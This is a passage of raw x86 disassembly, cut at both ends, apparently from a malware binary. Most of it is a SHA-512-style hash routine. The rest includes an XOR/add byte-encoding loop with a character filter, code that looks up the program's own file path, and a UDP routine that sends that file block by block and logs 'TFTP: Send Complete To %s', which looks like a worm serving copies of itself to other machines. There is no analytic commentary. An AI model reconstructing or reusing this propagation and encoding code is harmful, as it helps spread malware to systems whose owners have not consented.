shrd ebp, ecx, 1 xor esi, esi or esi, edi shr ecx, 1 mov edi, eax mov edx, eax shr ebx, 8 shl edi, 1Fh or edi, ecx mov ecx, [esp+170h+var_9C] shrd eax, ecx, 7 shl edx, 18h or edx, ebx xor ebx, ebx or ebx, ebp xor esi, ebx xor esi, eax mov eax, [esp+170h+var_F8] xor edx, edi shr ecx, 7 xor edx, ecx mov ecx, [esp+170h+var_F4] mov ebx, eax mov ebp, ecx shrd ebx, ebp, 13h xor edi, edi or edi, ebx mov ebx, ecx mov [esp+170h+var_160], esi mov esi, eax shld ecx, eax, 3 add eax, eax add eax, eax shl esi, 0Dh shr ebp, 13h or esi, ebp add eax, eax shr ebx, 1Dh or ebx, eax mov eax, [esp+170h+var_F8] xor ebp, ebp or ebp, ecx mov ecx, [esp+170h+var_F4] shrd eax, ecx, 6 shr ecx, 6 xor esi, ebp xor edi, ebx xor esi, ecx mov ecx, [esp+170h+var_160] xor edi, eax mov eax, [esp+170h+arg_0] add ecx, edi adc edx, esi add ecx, [esp+170h+var_D8] adc edx, [esp+170h+var_D4] add ecx, [esp+170h+var_C0] adc edx, [esp+170h+var_BC] mov [eax+0B8h], ecx mov [eax+0BCh], edx mov eax, edx mov [esp+170h+var_C0], ecx mov [esp+170h+var_BC], eax mov [esp+170h+var_30], ecx jmp short loc_407414 ; --------------------------------------------------------------------------- loc_4073FF: ; CODE XREF: sub_405390+1F7Ej mov edx, [esp+170h+var_C0] mov eax, [esp+170h+var_BC] mov [esp+170h+var_30], edx loc_407414: ; CODE XREF: sub_405390+206Dj mov ecx, [esp+170h+var_11C] mov ebx, ecx mov [esp+170h+var_2C], eax mov eax, [esp+170h+var_120] xor esi, esi mov edx, ecx mov edi, eax shld ebx, edi, 17h or esi, ebx shl edi, 17h xor ebx, ebx shr edx, 9 or edx, edi mov ebp, eax shrd ebp, ecx, 12h or ebx, ebp mov ebp, [esp+170h+var_11C] xor edx, ebx shr ecx, 12h mov edi, eax shl edi, 0Eh or edi, ecx xor esi, edi mov ebx, eax shrd ebx, ebp, 0Eh shr ebp, 0Eh xor edi, edi or edi, ebx xor edx, edi mov ecx, eax shl ecx, 12h or ecx, ebp mov ebp, [esp+170h+var_158] xor esi, ecx mov ecx, [esp+170h+var_11C] and ebp, eax mov edi, eax mov eax, [esp+170h+var_154] and eax, ecx mov ebx, ecx mov ecx, [esp+170h+var_148] not ebx and ebx, [esp+170h+var_14C] not edi and edi, [esp+170h+var_150] xor ebx, eax mov eax, [esp+170h+var_15C] xor edi, ebp add edx, edi adc esi, ebx add edx, ds:dword_4206A8[eax*8] adc esi, ds:dword_4206AC[eax*8] add edx, [esp+170h+var_30] mov eax, [esp+170h+var_128] adc esi, [esp+170h+var_2C] add ecx, edx mov edx, [esp+170h+var_144] adc edx, esi add eax, ecx adc [esp+170h+var_124], edx mov [esp+170h+var_148], ecx mov ecx, [esp+170h+var_140] mov [esp+170h+var_144], edx mov edx, [esp+170h+var_13C] mov ebx, ecx mov ebp, edx shrd ebx, ebp, 1Ch xor edi, edi or edi, ebx mov esi, ecx mov ebx, edx shld edx, ecx, 1Eh shr ebp, 1Ch shl esi, 4 or esi, ebp shr ebx, 2 shl ecx, 1Eh xor ebp, ebp or ebx, ecx mov [esp+170h+var_128], eax or ebp, edx mov ecx, [esp+170h+var_13C] xor esi, ebp mov ebp, [esp+170h+var_140] mov edx, ecx shld ecx, ebp, 19h xor edi, ebx shr edx, 7 xor ebx, ebx or ebx, ecx mov ecx, [esp+170h+var_98] and ecx, [esp+170h+var_140] shl ebp, 19h xor ecx, [esp+170h+var_90] or edx, ebp xor edi, edx mov edx, [esp+170h+var_94] and edx, [esp+170h+var_13C] xor esi, ebx xor edx, [esp+170h+var_8C] add edi, ecx adc esi, edx add [esp+170h+var_148], edi adc [esp+170h+var_144], esi cmp [esp+170h+var_15C], 0 jz loc_407660 mov eax, [esp+170h+var_B0] mov ecx, [esp+170h+var_AC] mov ebx, ecx mov edi, eax shrd edi, ebx, 13h xor esi, esi or esi, edi mov edi, ecx shr ebx, 13h mov edx, eax mov ebp, eax shld ecx, ebp, 3 shl edx, 0Dh or edx, ebx xor ebx, ebx or ebx, ecx mov ecx, [esp+170h+var_AC] shrd eax, ecx, 6 add ebp, ebp add ebp, ebp add ebp, ebp shr edi, 1Dh or edi, ebp xor esi, edi xor esi, eax mov eax, [esp+170h+var_E0] xor edx, ebx shr ecx, 6 xor edx, ecx mov ecx, [esp+170h+var_DC] mov ebp, ecx mov ebx, eax shrd ebx, ebp, 8 xor edi, edi or edi, ebx mov [esp+170h+var_160], esi mov esi, eax mov ebx, eax shrd eax, ecx, 1 shl esi, 18h shr ebp, 8 or esi, ebp shr ecx, 1 xor ebp, ebp or ebp, eax mov eax, [esp+170h+var_E0] shl ebx, 1Fh or ebx, ecx mov ecx, [esp+170h+var_DC] shrd eax, ecx, 7 shr ecx, 7 xor esi, ebx xor edi, ebp xor edi, eax mov eax, [esp+170h+arg_0] xor esi, ecx mov ecx, [esp+170h+var_160] add ecx, edi adc edx, esi add ecx, [esp+170h+var_118] adc edx, [esp+170h+var_114] add ecx, [esp+170h+var_A0] adc edx, [esp+170h+var_9C] mov [eax+0C0h], ecx mov [eax+0C4h], edx mov eax, edx mov [esp+170h+var_9C], eax mov [esp+170h+var_1C], eax mov eax, [esp+170h+var_128] mov [esp+170h+var_A0], ecx mov [esp+170h+var_20], ecx jmp short loc_40767C ; --------------------------------------------------------------------------- loc_407660: ; CODE XREF: sub_405390+21CEj mov edx, [esp+170h+var_A0] mov ecx, [esp+170h+var_9C] mov [esp+170h+var_20], edx mov [esp+170h+var_1C], ecx loc_40767C: ; CODE XREF: sub_405390+22CEj mov ecx, [esp+170h+var_124] mov ebx, ecx xor esi, esi mov edx, ecx mov edi, eax shld ebx, edi, 17h or esi, ebx shl edi, 17h xor ebx, ebx shr edx, 9 or edx, edi mov ebp, eax shrd ebp, ecx, 12h or ebx, ebp mov ebp, [esp+170h+var_124] xor edx, ebx shr ecx, 12h mov edi, eax shl edi, 0Eh or edi, ecx xor esi, edi mov ebx, eax shrd ebx, ebp, 0Eh xor edi, edi or edi, ebx xor edx, edi shr ebp, 0Eh mov ecx, eax shl ecx, 12h or ecx, ebp mov ebp, [esp+170h+var_120] xor esi, ecx mov ecx, [esp+170h+var_124] and ebp, eax mov edi, eax mov eax, [esp+170h+var_11C] and eax, ecx mov ebx, ecx mov ecx, [esp+170h+var_14C] not ebx and ebx, [esp+170h+var_154] not edi and edi, [esp+170h+var_158] xor ebx, eax mov eax, [esp+170h+var_15C] xor edi, ebp add edx, edi adc esi, ebx add edx, ds:dword_4206B0[eax*8] adc esi, ds:dword_4206B4[eax*8] add edx, [esp+170h+var_20] mov eax, [esp+170h+var_150] adc esi, [esp+170h+var_1C] add eax, edx adc ecx, esi add [esp+170h+var_130], eax mov [esp+170h+var_14C], ecx mov [esp+170h+var_150], eax adc [esp+170h+var_12C], ecx mov eax, [esp+170h+var_144] mov ecx, [esp+170h+var_148] mov edx, ecx mov ebx, eax shrd edx, ebx, 1Ch mov esi, ecx xor edi, edi or edi, edx mov ebp, eax shld ebp, ecx, 1Eh shr ebx, 1Ch shl esi, 4 or esi, ebx mov edx, eax shl ecx, 1Eh shr edx, 2 xor ebx, ebx or edx, ecx or ebx, ebp xor edi, edx xor esi, ebx mov ecx, eax mov ebx, [esp+170h+var_148] mov ebp, eax shld ebp, ebx, 19h xor edx, edx or edx, ebp mov ebp, [esp+170h+var_13C] xor ebp, [esp+170h+var_134] shl ebx, 19h shr ecx, 7 or ecx, ebx xor esi, edx mov edx, [esp+170h+var_140] xor edi, ecx mov ecx, [esp+170h+var_138] and ebp, eax mov eax, [esp+170h+var_13C] and eax, [esp+170h+var_134] mov ebx, edx xor ebx, ecx and ebx, [esp+170h+var_148] and edx, ecx xor ebx, edx xor ebp, eax add edi, ebx adc esi, ebp add [esp+170h+var_150], edi adc [esp+170h+var_14C], esi cmp [esp+170h+var_15C], 0 jz loc_4078AA mov eax, [esp+170h+var_C0] mov ecx, [esp+170h+var_BC] mov ebx, ecx mov edi, eax shrd edi, ebx, 13h xor esi, esi or esi, edi mov edi, ecx shr ebx, 13h mov edx, eax mov ebp, eax shld ecx, ebp, 3 shl edx, 0Dh or edx, ebx xor ebx, ebx or ebx, ecx mov ecx, [esp+170h+var_BC] shrd eax, ecx, 6 add ebp, ebp add ebp, ebp add ebp, ebp shr edi, 1Dh or edi, ebp xor esi, edi xor esi, eax mov eax, [esp+170h+var_100] xor edx, ebx shr ecx, 6 xor edx, ecx mov ecx, [esp+170h+var_FC] mov ebp, ecx mov ebx, eax shrd ebx, ebp, 8 xor edi, edi or edi, ebx mov [esp+170h+var_160], esi mov esi, eax mov ebx, eax shrd eax, ecx, 1 shl esi, 18h shr ebp, 8 or esi, ebp shr ecx, 1 xor ebp, ebp or ebp, eax mov eax, [esp+170h+var_100] shl ebx, 1Fh or ebx, ecx mov ecx, [esp+170h+var_FC] shrd eax, ecx, 7 shr ecx, 7 xor esi, ebx xor edi, ebp xor esi, ecx mov ecx, [esp+170h+var_160] xor edi, eax mov eax, [esp+170h+arg_0] add ecx, edi adc edx, esi add ecx, [esp+170h+var_C8] adc edx, [esp+170h+var_C4] add ecx, [esp+170h+var_E0] adc edx, [esp+170h+var_DC] mov [eax+0C8h], ecx mov [eax+0CCh], edx mov eax, edx mov [esp+170h+var_E0], ecx mov [esp+170h+var_DC], eax mov [esp+170h+var_10], ecx jmp short loc_4078BF ; --------------------------------------------------------------------------- loc_4078AA: ; CODE XREF: sub_405390+2429j mov edx, [esp+170h+var_E0] mov eax, [esp+170h+var_DC] mov [esp+170h+var_10], edx loc_4078BF: ; CODE XREF: sub_405390+2518j mov ecx, [esp+170h+var_12C] mov ebx, ecx mov [esp+170h+var_C], eax mov eax, [esp+170h+var_130] xor esi, esi mov edx, ecx mov edi, eax shld ebx, edi, 17h or esi, ebx shl edi, 17h xor ebx, ebx shr edx, 9 or edx, edi mov ebp, eax shrd ebp, ecx, 12h or ebx, ebp mov ebp, [esp+170h+var_12C] xor edx, ebx shr ecx, 12h mov edi, eax shl edi, 0Eh or edi, ecx xor esi, edi mov ebx, eax shrd ebx, ebp, 0Eh xor edi, edi or edi, ebx xor edx, edi shr ebp, 0Eh mov ecx, eax shl ecx, 12h or ecx, ebp mov ebp, [esp+170h+var_128] xor esi, ecx mov ecx, [esp+170h+var_12C] and ebp, eax mov edi, eax mov eax, [esp+170h+var_124] and eax, ecx mov ebx, ecx mov ecx, [esp+170h+var_154] not ebx and ebx, [esp+170h+var_11C] not edi and edi, [esp+170h+var_120] xor ebx, eax mov eax, [esp+170h+var_15C] xor edi, ebp add edx, edi adc esi, ebx add edx, ds:dword_4206B8[eax*8] adc esi, ds:dword_4206BC[eax*8] add edx, [esp+170h+var_10] mov eax, [esp+170h+var_158] adc esi, [esp+170h+var_C] add eax, edx adc ecx, esi add [esp+170h+var_138], eax mov [esp+170h+var_154], ecx mov [esp+170h+var_158], eax adc [esp+170h+var_134], ecx mov ecx, [esp+170h+var_150] mov eax, [esp+170h+var_14C] mov edx, ecx mov ebx, eax shrd edx, ebx, 1Ch mov esi, ecx mov ebp, eax shld ebp, ecx, 1Eh xor edi, edi or edi, edx shr ebx, 1Ch shl esi, 4 or esi, ebx mov edx, eax shr edx, 2 shl ecx, 1Eh xor ebx, ebx or edx, ecx or ebx, ebp xor edi, edx xor esi, ebx mov ebx, [esp+170h+var_150] mov ebp, eax shld ebp, ebx, 19h shl ebx, 19h xor edx, edx or edx, ebp mov ecx, eax shr ecx, 7 or ecx, ebx xor edi, ecx mov ecx, [esp+170h+var_150] xor esi, edx mov edx, [esp+170h+var_140] mov ebx, ecx and ecx, edx xor ebx, edx and ebx, [esp+170h+var_148] mov ebp, eax xor ebp, [esp+170h+var_13C] mov edx, ecx and ebp, [esp+170h+var_144] mov ecx, [esp+170h+var_13C] and eax, ecx xor ebx, edx xor ebp, eax add edi, ebx adc esi, ebp add [esp+170h+var_158], edi mov edi, [esp+170h+var_15C] adc [esp+170h+var_154], esi add edi, 10h cmp edi, 50h mov [esp+170h+var_15C], edi jb loc_405520 mov eax, [esp+170h+var_4] mov edx, [esp+170h+var_158] add [eax], edx mov edx, [esp+170h+var_154] pop edi adc [eax+4], edx mov eax, [esp+16Ch+arg_0] mov edx, [esp+16Ch+var_150] add [eax+18h], edx mov edx, [esp+16Ch+var_14C] pop esi adc [eax+1Ch], edx mov edx, [esp+168h+var_148] add [eax+20h], edx mov edx, [esp+168h+var_144] pop ebp adc [eax+24h], edx mov edx, [esp+164h+var_140] add [eax+28h], edx mov edx, [esp+164h+var_134] pop ebx adc [eax+2Ch], ecx mov ecx, [esp+160h+var_138] add [eax+30h], ecx mov ecx, [esp+160h+var_130] adc [eax+34h], edx add [eax+38h], ecx mov edx, [esp+160h+var_12C] mov ecx, [esp+160h+var_128] adc [eax+3Ch], edx add [eax+40h], ecx mov edx, [esp+160h+var_124] mov ecx, [esp+160h+var_120] adc [eax+44h], edx add [eax+48h], ecx mov edx, [esp+160h+var_11C] adc [eax+4Ch], edx add esp, 160h retn sub_405390 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_407AA0 proc near ; CODE XREF: sub_402E6D+BCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 0Ch push ebx mov ebx, [esp+10h+arg_4] mov eax, [ebx] push ebp mov ebp, [esp+14h+arg_0] push esi push edi and eax, 7Fh mov edi, 80h sub edi, eax mov esi, ecx xor ecx, ecx add [ebx], ebp adc [ebx+4], ecx mov edx, [ebx+4] cmp edx, ecx ja short loc_407ADB jb short loc_407AD3 mov ecx, [ebx] cmp ecx, ebp jnb short loc_407ADB loc_407AD3: ; CODE XREF: sub_407AA0+2Bj add dword ptr [ebx+8], 1 adc dword ptr [ebx+0Ch], 0 loc_407ADB: ; CODE XREF: sub_407AA0+29j ; sub_407AA0+31j cmp ebp, edi jb loc_407B7F loc_407AE3: ; CODE XREF: sub_407AA0+D9j push edi lea edx, [ebx+eax+50h] push esi push edx call sub_40D820 add esi, edi add esp, 0Ch sub ebp, edi mov [esp+1Ch+var_4], esi mov [esp+1Ch+arg_0], ebp mov edi, 80h mov [esp+1Ch+var_8], 0 mov esi, 10h lea edx, [ebx+0D0h] loc_407B16: ; CODE XREF: sub_407AA0+BCj mov eax, [edx-8] mov ecx, [edx-4] sub edx, 8 mov ebx, eax sub esi, 1 ror ebx, 8 and ebx, 0FF00FF00h rol eax, 8 and eax, 0FF00FFh or ebx, eax mov ebp, ecx xor eax, eax ror ebp, 8 and ebp, 0FF00FF00h rol ecx, 8 and ecx, 0FF00FFh or ebp, ecx xor ecx, ecx or eax, ebp or ebx, ecx test esi, esi mov [edx], eax mov [edx+4], ebx jnz short loc_407B16 mov ebx, [esp+1Ch+arg_4] push ebx call sub_405390 mov ebp, [esp+20h+arg_0] mov eax, [esp+20h+var_8] mov esi, [esp+20h+var_4] add esp, 4 cmp ebp, edi jnb loc_407AE3 loc_407B7F: ; CODE XREF: sub_407AA0+3Dj push ebp lea edx, [eax+ebx+50h] push esi push edx call sub_40D820 add esp, 0Ch pop edi pop esi pop ebp pop ebx add esp, 0Ch retn sub_407AA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_407BA0 proc near ; CODE XREF: sub_402E6D+E4p var_4 = dword ptr -4 arg_0 = dword ptr 4 push ecx mov ecx, [ebx] push ebp and ecx, 7Fh push esi lea esi, [ecx+7] shr esi, 3 push edi mov [esp+10h+var_4], ecx jz short loc_407C05 lea edx, [ebx+esi*8+50h] loc_407BB9: ; CODE XREF: sub_407BA0+5Fj mov eax, [edx-8] mov ecx, [edx-4] sub edx, 8 mov edi, eax sub esi, 1 ror edi, 8 and edi, 0FF00FF00h rol eax, 8 and eax, 0FF00FFh or edi, eax mov ebp, ecx xor eax, eax ror ebp, 8 and ebp, 0FF00FF00h rol ecx, 8 and ecx, 0FF00FFh or ebp, ecx xor ecx, ecx or eax, ebp or edi, ecx test esi, esi mov [edx], eax mov [edx+4], edi jnz short loc_407BB9 mov ecx, [esp+10h+var_4] loc_407C05: ; CODE XREF: sub_407BA0+13j mov eax, ecx and eax, 7 add eax, eax add eax, eax mov esi, dword_424AD0[eax+eax] mov edi, dword_424AD4[eax+eax] add eax, eax mov edx, ecx shr edx, 3 and esi, [ebx+edx*8+50h] and edi, [ebx+edx*8+54h] or esi, dword_424B10[eax] or edi, dword_424B14[eax] cmp ecx, 6Fh mov [ebx+edx*8+50h], esi mov [ebx+edx*8+54h], edi jbe short loc_407C6A cmp ecx, 78h jnb short loc_407C5D mov dword ptr [ebx+0C8h], 0 mov dword ptr [ebx+0CCh], 0 loc_407C5D: ; CODE XREF: sub_407BA0+A7j push ebx call sub_405390 add esp, 4 xor edx, edx jmp short loc_407C72 ; --------------------------------------------------------------------------- loc_407C6A: ; CODE XREF: sub_407BA0+A2j add edx, 1 cmp edx, 0Eh jnb short loc_407C98 loc_407C72: ; CODE XREF: sub_407BA0+C8j mov ecx, 0Dh sub ecx, edx add ecx, ecx add ecx, ecx lea esi, [ebx+edx*8+50h] add ecx, ecx shr ecx, 2 lea edi, [esi+8] mov dword ptr [esi], 0 mov dword ptr [esi+4], 0 rep movsd loc_407C98: ; CODE XREF: sub_407BA0+D0j mov edx, [ebx+8] mov esi, [ebx+0Ch] mov ecx, [ebx+4] mov eax, [ebx] shld esi, edx, 3 add edx, edx mov edi, ecx shld ecx, eax, 3 add edx, edx add eax, eax add edx, edx add eax, eax shr edi, 1Dh xor ebp, ebp or edx, edi add eax, eax or esi, ebp push ebx mov [ebx+0C0h], edx mov [ebx+0C4h], esi mov [ebx+0C8h], eax mov [ebx+0CCh], ecx call sub_405390 add esp, 4 xor esi, esi loc_407CE5: ; CODE XREF: sub_407BA0+171j mov ecx, esi not ecx and ecx, 7 mov edx, esi shr edx, 3 mov eax, [ebx+edx*8+10h] mov edx, [ebx+edx*8+14h] add ecx, ecx add ecx, ecx add ecx, ecx call sub_41B3F0 mov ecx, [esp+10h+arg_0] mov [esi+ecx], al add esi, 1 cmp esi, 40h jb short loc_407CE5 pop edi pop esi pop ebp pop ecx retn sub_407BA0 endp ; =============== S U B R O U T I N E ======================================= sub_407D18 proc near ; CODE XREF: sub_408CC5+268p ; .text:004096C8p ... arg_0 = dword ptr 4 push esi push edi push [esp+8+arg_0] mov edi, eax call sub_40C500 mov esi, eax add esi, 0CCh cmp esi, 172h pop ecx jg short loc_407D70 push esi push 0 push edi call sub_40C6F0 push 0CBh push offset dword_4249E0 push edi call sub_40D820 push [esp+20h+arg_0] call sub_40C500 push eax push [esp+28h+arg_0] add edi, 0CAh push edi call sub_40D820 add esp, 28h mov eax, esi jmp short loc_407D72 ; --------------------------------------------------------------------------- loc_407D70: ; CODE XREF: sub_407D18+1Cj xor eax, eax loc_407D72: ; CODE XREF: sub_407D18+56j pop edi pop esi retn sub_407D18 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407D75 proc near ; CODE XREF: sub_408CC5+292p ; sub_408CC5+2B1p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_0], 1 push ebx push edi mov bl, 1 mov [ebp+var_1], 0 jnz loc_407E7E mov eax, [ebp+arg_8] lea edi, [eax+18h] and eax, 80000001h mov [ebp+var_8], edi jns short loc_407DA2 dec eax or eax, 0FFFFFFFEh inc eax loc_407DA2: ; CODE XREF: sub_407D75+26j jz short loc_407DA8 mov [ebp+var_1], 1 loc_407DA8: ; CODE XREF: sub_407D75:loc_407DA2j mov eax, 172h cmp edi, eax jle short loc_407DBB cmp [ebp+var_1], 1 jnz loc_407F5A loc_407DBB: ; CODE XREF: sub_407D75+3Aj lea ecx, [edi+1] cmp ecx, eax mov [ebp+var_C], ecx jle short loc_407DD5 cmp [ebp+var_1], 1 jnz short loc_407DD5 jmp loc_407F5A ; --------------------------------------------------------------------------- loc_407DD0: ; CODE XREF: sub_407D75+DCj mov eax, 172h loc_407DD5: ; CODE XREF: sub_407D75+4Ej ; sub_407D75+54j push eax xor edi, edi push edi push esi inc bl call sub_40C6F0 push 18h push offset dword_4249A8 push esi call sub_40D820 add esp, 18h cmp [ebp+arg_8], edi mov [esi+0Eh], bl mov [esi+12h], bl jle short loc_407E0E loc_407DFC: ; CODE XREF: sub_407D75+97j mov eax, [ebp+arg_4] mov al, [edi+eax] add al, bl mov [esi+edi+18h], al inc edi cmp edi, [ebp+arg_8] jl short loc_407DFC loc_407E0E: ; CODE XREF: sub_407D75+85j cmp [ebp+var_1], 1 jnz short loc_407E18 mov [edi+esi+18h], bl loc_407E18: ; CODE XREF: sub_407D75+9Dj xor edi, edi cmp [ebp+var_8], edi mov byte ptr [ebp+arg_0+3], 1 jle short loc_407E5C loc_407E23: ; CODE XREF: sub_407D75+D1j mov cl, [edi+esi] xor edx, edx loc_407E28: ; CODE XREF: sub_407D75+BFj mov eax, [ebp+arg_C] cmp cl, [edx+eax] jz short loc_407E38 inc edx cmp edx, 8 jl short loc_407E28 jmp short loc_407E3C ; --------------------------------------------------------------------------- loc_407E38: ; CODE XREF: sub_407D75+B9j mov byte ptr [ebp+arg_0+3], 0 loc_407E3C: ; CODE XREF: sub_407D75+C1j cmp byte ptr [ebp+arg_0+3], 0 jz short loc_407E48 inc edi cmp edi, [ebp+var_8] jl short loc_407E23 loc_407E48: ; CODE XREF: sub_407D75+CBj cmp byte ptr [ebp+arg_0+3], 1 jz short loc_407E5C cmp bl, 0FFh jb loc_407DD0 jmp loc_407F5A ; --------------------------------------------------------------------------- loc_407E5C: ; CODE XREF: sub_407D75+ACj ; sub_407D75+D7j ... cmp [ebp+var_1], 1 jnz short loc_407E6B mov eax, [ebp+var_C] inc [ebp+arg_8] mov [ebp+var_8], eax loc_407E6B: ; CODE XREF: sub_407D75+EBj mov eax, [ebp+arg_8] cdq sub eax, edx sar eax, 1 mov [esi+3], al mov eax, [ebp+var_8] jmp loc_407F5C ; --------------------------------------------------------------------------- loc_407E7E: ; CODE XREF: sub_407D75+12j cmp [ebp+arg_0], 2 jnz loc_407F5A mov eax, [ebp+arg_8] lea edi, [eax+18h] and eax, 80000001h mov [ebp+var_8], edi jns short loc_407E9D dec eax or eax, 0FFFFFFFEh inc eax loc_407E9D: ; CODE XREF: sub_407D75+121j jz short loc_407EA3 mov [ebp+var_1], 1 loc_407EA3: ; CODE XREF: sub_407D75:loc_407E9Dj mov eax, 172h cmp edi, eax jle short loc_407EB6 cmp [ebp+var_1], 1 jnz loc_407F5A loc_407EB6: ; CODE XREF: sub_407D75+135j lea ecx, [edi+1] cmp ecx, eax mov [ebp+var_C], ecx jle short loc_407ED0 cmp [ebp+var_1], 1 jnz short loc_407ED0 jmp loc_407F5A ; --------------------------------------------------------------------------- loc_407ECB: ; CODE XREF: sub_407D75+1DFj mov eax, 172h loc_407ED0: ; CODE XREF: sub_407D75+149j ; sub_407D75+14Fj push eax xor edi, edi push edi push esi inc bl call sub_40C6F0 push 18h push offset dword_4249C4 push esi call sub_40D820 add esp, 18h cmp [ebp+arg_8], edi mov [esi+0Eh], bl mov [esi+12h], bl jle short loc_407F09 loc_407EF7: ; CODE XREF: sub_407D75+192j mov eax, [ebp+arg_4] mov al, [edi+eax] xor al, bl mov [esi+edi+18h], al inc edi cmp edi, [ebp+arg_8] jl short loc_407EF7 loc_407F09: ; CODE XREF: sub_407D75+180j cmp [ebp+var_1], 1 jnz short loc_407F13 mov [edi+esi+18h], bl loc_407F13: ; CODE XREF: sub_407D75+198j xor edi, edi cmp [ebp+var_8], edi mov byte ptr [ebp+arg_0+3], 1 jle loc_407E5C loc_407F22: ; CODE XREF: sub_407D75+1D0j mov cl, [edi+esi] xor edx, edx loc_407F27: ; CODE XREF: sub_407D75+1BEj mov eax, [ebp+arg_C] cmp cl, [edx+eax] jz short loc_407F37 inc edx cmp edx, 8 jl short loc_407F27 jmp short loc_407F3B ; --------------------------------------------------------------------------- loc_407F37: ; CODE XREF: sub_407D75+1B8j mov byte ptr [ebp+arg_0+3], 0 loc_407F3B: ; CODE XREF: sub_407D75+1C0j cmp byte ptr [ebp+arg_0+3], 0 jz short loc_407F47 inc edi cmp edi, [ebp+var_8] jl short loc_407F22 loc_407F47: ; CODE XREF: sub_407D75+1CAj cmp byte ptr [ebp+arg_0+3], 1 jz loc_407E5C cmp bl, 0FFh jb loc_407ECB loc_407F5A: ; CODE XREF: sub_407D75+40j ; sub_407D75+56j ... xor eax, eax loc_407F5C: ; CODE XREF: sub_407D75+104j pop edi pop ebx leave retn sub_407D75 endp ; =============== S U B R O U T I N E ======================================= sub_407F60 proc near ; CODE XREF: sub_4049E1+3D0p ; .text:00409E28p push 4 mov eax, offset loc_41D694 call sub_40E5CD xor ebx, ebx cmp byte_4338BD, bl jz short loc_407F7A loc_407F76: ; CODE XREF: sub_407F60+74j mov al, 1 jmp short loc_407FDE ; --------------------------------------------------------------------------- loc_407F7A: ; CODE XREF: sub_407F60+14j mov edi, 100h push edi push ebx mov esi, offset dword_426A68 push esi call sub_40C6F0 add esp, 0Ch push edi push esi push ebx call ds:dword_41E0CC ; GetModuleHandleA push eax call ds:dword_41E0B4 ; GetModuleFileNameA push 8 call loc_40CC1A mov esi, eax pop ecx mov [ebp-10h], esi cmp esi, ebx mov [ebp-4], ebx jz short loc_407FC6 push offset sub_4081DD xor ecx, ecx mov edi, offset byte_4202A1 call sub_408395 jmp short loc_407FC8 ; --------------------------------------------------------------------------- loc_407FC6: ; CODE XREF: sub_407F60+51j xor eax, eax loc_407FC8: ; CODE XREF: sub_407F60+64j cmp [eax+4], ebx jz short loc_407FD6 mov byte_4338BD, 1 jmp short loc_407F76 ; --------------------------------------------------------------------------- loc_407FD6: ; CODE XREF: sub_407F60+6Bj mov byte_4338BD, bl xor al, al loc_407FDE: ; CODE XREF: sub_407F60+18j call sub_40E66C retn sub_407F60 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407FE4 proc near ; DATA XREF: sub_4081DD+170o var_238 = dword ptr -238h var_234 = dword ptr -234h var_22C = dword ptr -22Ch var_228 = dword ptr -228h var_224 = word ptr -224h var_222 = word ptr -222h var_220 = byte ptr -220h var_18 = byte ptr -18h var_14 = dword ptr -14h var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 238h mov eax, dword_423068 xor eax, ebp mov [ebp+var_8], eax push ebx push esi mov esi, [ebp+arg_0] xor ebx, ebx cmp esi, ebx push edi jnz short loc_40800A loc_408003: ; CODE XREF: sub_407FE4+3Ej ; sub_407FE4+59j ... push ebx call ds:off_41E07C loc_40800A: ; CODE XREF: sub_407FE4+1Dj lea edi, [ebp+var_18] movsd movsd push 11h movsd push 2 push 2 movsd call ds:dword_41E240 ; socket mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_408003 push offset dword_420DC0 push offset dword_426A68 call sub_40CF87 cmp eax, ebx pop ecx pop ecx mov [ebp+var_228], eax jz short loc_408003 push eax mov [ebp+var_22C], ebx mov [ebp+var_238], 10h call sub_40DB85 test eax, eax pop ecx jnz loc_40814E mov esi, ds:dword_41E238 loc_408064: ; CODE XREF: sub_407FE4+164j push 204h lea eax, [ebp+var_224] push ebx push eax call sub_40C6F0 push 4 lea eax, [ebp+var_234] push ebx push eax call sub_40C6F0 add esp, 18h inc [ebp+var_22C] push [ebp+var_22C] call esi ; htons push 3 mov [ebp+var_222], ax call esi ; htons push [ebp+var_228] mov [ebp+var_224], ax push 200h lea eax, [ebp+var_220] push 1 push eax call sub_40DE11 add esp, 10h push 10h lea ecx, [ebp+var_18] push ecx push ebx add eax, 4 push eax lea eax, [ebp+var_224] push eax push edi call ds:dword_41E260 ; sendto cmp eax, 0FFFFFFFFh jz loc_4081C5 lea eax, [ebp+var_238] push eax lea eax, [ebp+var_18] push eax push ebx push 4 lea eax, [ebp+var_234] push eax push edi call ds:dword_41E270 ; recvfrom cmp eax, 0FFFFFFFFh jz loc_4081C5 push [ebp+var_234] call ds:dword_41E268 ; htons cmp ax, 4 jnz loc_4081C5 push [ebp+var_234+2] call ds:dword_41E268 ; htons cmp ax, word ptr [ebp+var_22C] jnz loc_4081C5 push [ebp+var_228] call sub_40DB85 test eax, eax pop ecx jz loc_408064 loc_40814E: ; CODE XREF: sub_407FE4+74j inc dword_4338C4 push 100h call sub_40AA82 mov esi, eax push esi call sub_40C58B push eax mov ebx, offset asc_424FE0 ; "±±ÆÀÔÙ" call sub_401ACE add esp, 0Ch push dword_4338C4 push [ebp+var_14] call ds:dword_41E274 ; inet_ntoa push eax push offset aTftpSendComple ; "TFTP: Send Complete To %s. %d Total Sen"... push esi push 0 push offset dword_426A3C call sub_403DB4 push esi call sub_40C76A add esp, 1Ch push edi call ds:dword_41E244 ; closesocket push [ebp+var_228] call sub_40D257 pop ecx mov ecx, [ebp+var_8] pop edi pop esi xor ecx, ebp xor eax, eax pop ebx call sub_40AB4A leave retn 4 ; --------------------------------------------------------------------------- loc_4081C5: ; CODE XREF: sub_407FE4+FCj ; sub_407FE4+121j ... push edi call ds:dword_41E244 ; closesocket push [ebp+var_228] call sub_40D257 pop ecx jmp loc_408003 sub_407FE4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4081DD proc near ; DATA XREF: sub_407F60+53o var_148 = dword ptr -148h var_144 = dword ptr -144h var_140 = 